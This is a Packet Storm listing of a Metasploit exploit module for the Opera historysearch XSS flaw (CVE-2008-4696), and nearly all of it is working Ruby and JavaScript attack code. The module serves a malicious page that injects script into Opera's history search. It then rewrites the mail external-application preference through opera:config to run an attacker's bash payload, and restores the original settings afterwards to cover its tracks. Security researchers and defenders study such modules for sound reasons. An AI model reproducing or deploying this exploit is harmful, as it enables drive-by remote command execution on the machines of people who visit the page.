Opera historysearch XSS

2009-10-2700:00:00
Aviv Raff
packetstormsecurity.com
0.856 High
EPSS
Percentile
98.6%
JSON
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:ua_name => HttpClients::OPERA,  
:javascript => true,  
:rank => ExcellentRanking, # reliable command execution  
:vuln_test => %Q{  
v = parseFloat(opera.version());  
if (9.5 < v && 9.62 > v) {  
is_vuln = true;  
}  
},  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Opera historysearch XSS',  
'Description' => %q{  
Certain constructs are not escaped correctly by Opera's History  
Search results. These can be used to inject scripts into the  
page, which can then be used to modify configuration settings  
and execute arbitrary commands. Affects Opera versions between  
9.50 and 9.61.  
},  
'License' => BSD_LICENSE,  
'Author' =>   
[   
'Roberto Suggi', # Discovered the vulnerability  
'Aviv Raff <avivra [at] gmail.com>', # showed it to be exploitable for code exec  
'egypt', # msf module  
],  
'Version' => '$Revision: 5773 $',  
'References' =>   
[  
['CVE', '2008-4696'],  
['OSVDB', '49472'],  
['BID', '31869'],  
['URL', 'http://www.opera.com/support/kb/view/903/'],  
],  
'Payload' =>  
{  
'ExitFunc' => 'process',  
'Space' => 4000,  
'DisableNops' => true,  
'BadChars' => "\x09\x0a\x0d\x20",  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby telnet',  
}  
},   
'Targets' =>  
[  
#[ 'Automatic', { } ],  
#[ 'Opera < 9.61 Windows',   
# {  
# 'Platform' => 'win',  
# 'Arch' => ARCH_X86,  
# }  
#],  
[ 'Opera < 9.61 Unix Cmd',   
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
}  
],  
],  
'DisclosureDate' => 'Oct 23 2008', # Date of full-disclosure post showing code exec  
'DefaultTarget' => 0  
))  
end  
  
def on_request_uri(cli, request)  
  
headers = {}  
html_hdr = %Q^  
<html>  
<head>  
<title>Loading</title>  
^  
html_ftr = %Q^  
</head>  
<body >  
<h1>Loading</h1>  
</body></html>  
^  
  
case request.uri  
when /[?]jspayload/  
p = regenerate_payload(cli)  
if (p.nil?)  
send_not_found(cli)  
return  
end  
# We're going to run this through unescape(), so make sure  
# everything is encoded  
penc = Rex::Text.to_hex(p.encoded, "%")  
content =   
%Q{  
var s = document.createElement("iframe");  
  
s.src="opera:config";  
s.id="config_window";  
document.body.appendChild(s);  
config_window.eval(  
"var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +  
"old_app = opera.getPreference('Mail','External Application');" +  
"old_handler = opera.getPreference('Mail','Handler');" +  
"opera.setPreference('Mail','External Application',cmd);" +  
"opera.setPreference('Mail','Handler','2');" +  
"app_link = document.createElement('a');" +  
"app_link.setAttribute('href', 'mailto:[email protected]');" +  
"app_link.click();" +  
"setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +  
"setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +  
"");  
setTimeout(function () {window.location='about:blank'},1);  
}  
  
when /[?]history/  
js = %Q^  
window.onload = function() {   
location.href = "opera:historysearch?q=*";   
}  
^  
content = %Q^  
#{html_hdr}  
<script><!--  
#{js}  
//--></script>  
#{html_ftr}  
^  
when get_resource()  
print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}")  
  
js = %Q^  
if (window.opera) {  
var wnd = window;  
while (wnd.parent != wnd) {  
wnd = wnd.parent;  
}  
url = location.href;  
wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--";   
}  
^  
content = %Q^  
#{html_hdr}  
<script><!--  
#{js}  
//--></script>  
#{html_ftr}  
^  
else  
print_status("Sending 404 to #{cli.peerhost} for request #{request.uri}")  
send_not_found(cli)  
return  
end  
content.gsub!(/^\t{4}/, '')  
content.gsub!(/\t/, ' ')  
  
send_response_html(cli, content, headers)  
handler(cli)  
end  
  
end  
  
  
`
0.856 High
EPSS
Percentile
98.6%
JSON
Related for PACKETSTORM:82264